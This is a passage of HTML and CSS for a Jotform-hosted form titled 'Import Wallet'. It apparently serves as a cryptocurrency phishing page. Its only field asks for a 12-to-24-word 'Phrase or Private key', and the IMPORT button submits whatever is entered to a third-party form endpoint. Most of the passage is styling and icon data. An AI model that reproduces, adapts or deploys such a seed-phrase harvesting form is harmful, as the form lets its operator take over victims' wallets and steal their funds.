background-image: url(data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTQiIGhlaWdodD0iMiIgdmlld0JveD0iMCAwIDE0IDIiIGZpbGw9Im5vbmUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+CjxwYXRoIGQ9Ik0xMi41IDEuNDAwMzlMNy41IDEuNDAwMzlMMS41IDEuNDAwMzlDMS4yMjQgMS40MDAzOSAxIDEuMTc2MzkgMSAwLjkwMDM5QzEgMC42MjQzOSAxLjIyNCAwLjQwMDM5IDEuNSAwLjQwMDM5TDYuNSAwLjQwMDM5TDEyLjUgMC40MDAzOTFDMTIuNzc2IDAuNDAwMzkxIDEzIDAuNjI0MzkxIDEzIDAuOTAwMzkxQzEzIDEuMTc2MzkgMTIuNzc2IDEuNDAwMzkgMTIuNSAxLjQwMDM5WiIgZmlsbD0iIzAwNzA4RCIgc3Ryb2tlPSIjMDA3MDhEIiBzdHJva2Utd2lkdGg9IjAuNSIvPgo8L3N2Zz4K);
}
.form-collapse-table:after{
background-image: url(data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjgiIGhlaWdodD0iMjgiIHZpZXdCb3g9IjAgMCAyOCAyOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPHBhdGggZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGQ9Ik0yOCAxNEMyOCA2LjI2ODAxIDIxLjczMiAtOS40OTkzNWUtMDcgMTQgLTYuMTE5NTllLTA3QzYuMjY4MDEgLTIuNzM5ODRlLTA3IC05LjQ5OTM1ZS0wNyA2LjI2ODAxIC02LjExOTU5ZS0wNyAxNEMtMi43Mzk4NGUtMDcgMjEuNzMyIDYuMjY4MDEgMjggMTQgMjhDMjEuNzMyIDI4IDI4IDIxLjczMiAyOCAxNFpNOC4wMDI0IDExLjcwMDNDNy45OTI0NCAxMS41ODEzIDguMDEzNjMgMTEuNDYxNyA4LjA2MzU5IDExLjM1NDlDOC4xMTM0NyAxMS4yNDgyIDguMTkwMDUgMTEuMTU4NSA4LjI4NDc5IDExLjA5NTlDOC4zNzk1MiAxMS4wMzMyIDguNDg4NjUgMTEgOC41OTk5OSAxMUwxOS40IDExQzE5LjUxMTMgMTEgMTkuNjIwNSAxMS4wMzMyIDE5LjcxNTIgMTEuMDk1OUMxOS44MDk5IDExLjE1ODUgMTkuODg2NSAxMS4yNDgyIDE5LjkzNjQgMTEuMzU0OUMxOS45Nzc5IDExLjQ0NDQgMTkuOTk5NiAxMS41NDI5IDIwIDExLjY0MjlDMjAgMTEuNzgyIDE5Ljk1NzkgMTEuOTE3MyAxOS44OCAxMi4wMjg2TDE0LjQ4IDE5Ljc0MjlDMTQuNDI0MSAxOS44MjI3IDE0LjM1MTYgMTkuODg3NSAxNC4yNjgzIDE5LjkzMjFDMTQuMTg1IDE5Ljk3NjggMTQuMDkzMSAyMCAxNCAyMEMxMy45MDY4IDIwIDEzLjgxNSAxOS45NzY4IDEzLjczMTcgMTkuOTMyMUMxMy42NDg0IDE5Ljg4NzUgMTMuNTc1OSAxOS44MjI3IDEzLjUyIDE5Ljc0MjlMOC4xMTk5OSAxMi4wMjg2QzguMDUzMDggMTEuOTMzIDguMDEyMzYgMTEuODE5MyA4LjAwMjQgMTEuNzAwM1oiIGZpbGw9IiMwMDcwOEQiLz4KPC9zdmc+Cg==);
}
li[data-type=control_fileupload] .qq-upload-button:before {
background-image: url(data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMzkiIGhlaWdodD0iMjgiIHZpZXdCb3g9IjAgMCAzOSAyOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPHBhdGggZD0iTTMyLjM3NSAxMi4xODc1QzMxLjUgNS42ODc1IDI2IDAuODc1IDE5LjM3NSAwLjg3NUMxMy42ODc1IDAuODc1IDguNzUgNC40Mzc1IDYuOTM3NSA5LjgxMjVDMi44NzUgMTAuNjg3NSAwIDE0LjE4NzUgMCAxOC4zNzVDMCAyMi45Mzc1IDMuNTYyNSAyNi43NSA4LjEyNSAyNy4xMjVIMzEuODc1SDMxLjkzNzVDMzUuNzUgMjYuNzUgMzguNzUgMjMuNSAzOC43NSAxOS42MjVDMzguNzUgMTUuOTM3NSAzNiAxMi43NSAzMi4zNzUgMTIuMTg3NVpNMjYuMDYyNSAxNS42ODc1QzI1LjkzNzUgMTUuODEyNSAyNS44MTI1IDE1Ljg3NSAyNS42MjUgMTUuODc1QzI1LjQzNzUgMTUuODc1IDI1LjMxMjUgMTUuODEyNSAyNS4xODc1IDE1LjY4NzVMMjAgMTAuNVYyMi43NUMyMCAyMy4xMjUgMTkuNzUgMjMuMzc1IDE5LjM3NSAyMy4zNzVDMTkgMjMuMzc1IDE4Ljc1IDIzLjEyNSAxOC43NSAyMi43NVYxMC41TDEzLjU2MjUgMTUuNjg3NUMxMy4zMTI1IDE1LjkzNzUgMTIuOTM3NSAxNS45Mzc1IDEyLjY4NzUgMTUuNjg3NUMxMi40Mzc1IDE1LjQzNzUgMTIuNDM3NSAxNS4wNjI1IDEyLjY4NzUgMTQuODEyNUwxOC45Mzc1IDguNTYyNUMxOSA4LjUgMTkuMDYyNSA4LjQzNzUgMTkuMTI1IDguNDM3NUMxOS4yNSA4LjM3NSAxOS40Mzc1IDguMzc1IDE5LjYyNSA4LjQzNzVDMTkuNjg3NSA4LjUgMTkuNzUgOC41IDE5LjgxMjUgOC41NjI1TDI2LjA2MjUgMTQuODEyNUMyNi4zMTI1IDE1LjA2MjUgMjYuMzEyNSAxNS40Mzc1IDI2LjA2MjUgMTUuNjg3NVoiIGZpbGw9IiM4M0QwRTQiLz4KPC9zdmc+Cg==);
}
.appointmentDayPickerButton {
background-image: url(data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iNiIgaGVpZ2h0PSIxMCIgdmlld0JveD0iMCAwIDYgMTAiIGZpbGw9Im5vbmUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+CjxwYXRoIGQ9Ik0xIDlMNSA1TDEgMSIgc3Ryb2tlPSIjMDA3MDhEIiBzdHJva2Utd2lkdGg9IjIiIHN0cm9rZS1saW5lY2FwPSJyb3VuZCIgc3Ryb2tlLWxpbmVqb2luPSJyb3VuZCIvPgo8L3N2Zz4K);
}
/* NEW THEME STYLE */
/*PREFERENCES STYLE*/
/*PREFERENCES STYLE*/
.form-all {
font-family: Inter, sans-serif;
}
.form-all .qq-upload-button,
.form-all .form-submit-button,
.form-all .form-submit-reset,
.form-all .form-submit-print {
font-family: Inter, sans-serif;
}
.form-all .form-pagebreak-back-container,
.form-all .form-pagebreak-next-container {
font-family: Inter, sans-serif;
}
.form-header-group {
font-family: Inter, sans-serif;
}
.form-label {
font-family: Inter, sans-serif;
}
.form-label.form-label-auto {
display: block;
float: none;
text-align: left;
width: 100%;
}
.form-line {
margin-top: 12px 36px 12px 36px px;
margin-bottom: 12px 36px 12px 36px px;
}
.form-all {
max-width: 752px;
width: 100%;
}
.form-label.form-label-left,
.form-label.form-label-right,
.form-label.form-label-left.form-label-auto,
.form-label.form-label-right.form-label-auto {
width: 230px;
}
.form-all {
font-size: 16px
}
.form-all .qq-upload-button,
.form-all .qq-upload-button,
.form-all .form-submit-button,
.form-all .form-submit-reset,
.form-all .form-submit-print {
font-size: 16px
}
.form-all .form-pagebreak-back-container,
.form-all .form-pagebreak-next-container {
font-size: 16px
}
.supernova {
background-color: #83D0E4;
}
.supernova body {
background: transparent;
}
.supernova .form-all, .form-all {
background-color: #F0FCFF;
}
.form-all {
color: #264B67;
}
.form-header-group .form-header {
color: #264B67;
}
.form-header-group .form-subHeader {
color: #264B67;
}
.form-label-top,
.form-label-left,
.form-label-right,
.form-html,
.form-checkbox-item label,
.form-radio-item label {
color: #264B67;
}
.form-sub-label {
color: #406581;
}
.form-textbox,
.form-textarea,
.form-dropdown,
.form-radio-other-input,
.form-checkbox-other-input,
.form-captcha input,
.form-spinner input {
background-color: #FFFFFF;
}
.form-line-error {
overflow: hidden;
transition: none;
background-color: #FFEDED;
}
.form-line-error .form-error-message {
background-color: #FF3200;
clear: both;
float: none;
}
.form-line-error .form-error-arrow {
border-bottom-color: #FF3200;
}
.form-line-error input:not(#coupon-input),
.form-line-error textarea,
.form-line-error .form-validation-error {
border: 1px solid #FF3200;
.box-shadow(0 0 3px #FF3200);
}
.supernova {
background-image: none;
}
#stage {
background-image: none;
}
.form-all {
background-image: none;
}
.ie-8 .form-all:before { display: none; }
.ie-8 {
margin-top: auto;
margin-top: initial;
}
/*PREFERENCES STYLE*//*__INSPECT_SEPERATOR__*/.form-label.form-label-auto {
display: block;
float: none;
text-align: left;
width: 100%;
}
/* Injected CSS Code */
</style>
<form class="jotform-form" action="https://submit.jotform.com/submit/213265024201136/" method="post" name="form_213265024201136" id="213265024201136" accept-charset="utf-8" autocomplete="on">
<input type="hidden" name="formID" value="213265024201136" />
<input type="hidden" id="JWTContainer" value="" />
<input type="hidden" id="cardinalOrderNumber" value="" />
<div role="main" class="form-all">
<style>
.form-all:before { background: none;}
</style>
<ul class="form-section page-section">
<li id="cid_13" class="form-input-wide" data-type="control_head">
<div class="form-header-group header-large">
<div class="header-text httac htvam">
<h1 id="header_13" class="form-header" data-component="header">
Import Wallet
</h1>
</div>
</div>
</li>
<li class="form-line" data-type="control_textarea" id="id_6">
<label class="form-label form-label-top form-label-auto" id="label_6" for="input_6"> Phrase or Private key </label>
<div id="cid_6" class="form-input-wide" data-layout="full">
<div class="form-textarea-limit">
<span>
<textarea id="input_6" class="form-textarea" name="q6_phraseOr" style="width:648px;height:163px" data-component="textarea"></textarea>
<div class="form-textarea-limit-indicator">
<label for="input_6" style="float:left" id="sublabel_input_6"> Typically 12 (sometimes 24) words separated by single spaces </label>
<span data-limit="24" type="Words" data-minimum="12" data-typeminimum="Words" id="input_6-limit">
0/24
</span>
</div>
</span>
</div>
</div>
</li>
<li class="form-line" data-type="control_button" id="id_14">
<div id="cid_14" class="form-input-wide" data-layout="full">
<div data-align="auto" class="form-buttons-wrapper form-buttons-auto jsTest-button-wrapperField">
<button id="input_14" type="submit" class="form-submit-button form-submit-button-simple_carolina_blue submit-button jf-form-buttons jsTest-submitField" data-component="button" data-content="">
IMPORT
</button>
</div>
</div>
</li>
<li style="display:none">
Should be Empty:
<input type="text" name="website" value="" />
</li>
</ul>
</div>
<script>
JotForm.showJotFormPowered = "new_footer";
</script>
<script>
JotForm.poweredByText = "Powered by Jotform";
</script>
<input type="hidden" class="simple_spc" id="simple_spc" name="simple_spc" value="213265024201136" />
<script type="text/javascript">
var all_spc = document.querySelectorAll("form[id='213265024201136'] .si" + "mple" + "_spc");
for (var i = 0; i < all_spc.length; i++)
{
all_spc[i].value = "213265024201136-213265024201136";
}
</script>
<div class="formFooter-heightMask">
</div>
<div class="formFooter f6 branding21">
<div class="formFooter-wrapper formFooter-leftSide">
<a href="https://www.jotform.com/?utm_source=formfooter&utm_medium=banner&utm_term=213265024201136&utm_content=jotform_logo&utm_campaign=powered_by_jotform_le" target="_blank" class="formFooter-logoLink"><img class="formFooter-logo" src="https://cdn.jotfor.ms/assets/img/logo2021/jotform-logo-white.svg" alt="Jotform Logo" style="height: 44px;"></a>
</div>
<div class="formFooter-wrapper formFooter-rightSide">
<span class="formFooter-text">
Now create your own Jotform - It's free!
</span>
<a class="formFooter-button" href="https://www.jotform.com/?utm_source=formfooter&utm_medium=banner&utm_term=213265024201136&utm_content=jotform_button&utm_campaign=powered_by_jotform_le" target="_blank">Create your own Jotform</a>
</div>
</div>
</form>
<script src="https://cdn.jotfor.ms//js/vendor/smoothscroll.min.js?v=3.3.33568"></script>
<script src="https://cdn.jotfor.ms//js/errorNavigation.js?v=3.3.33568"></script>f
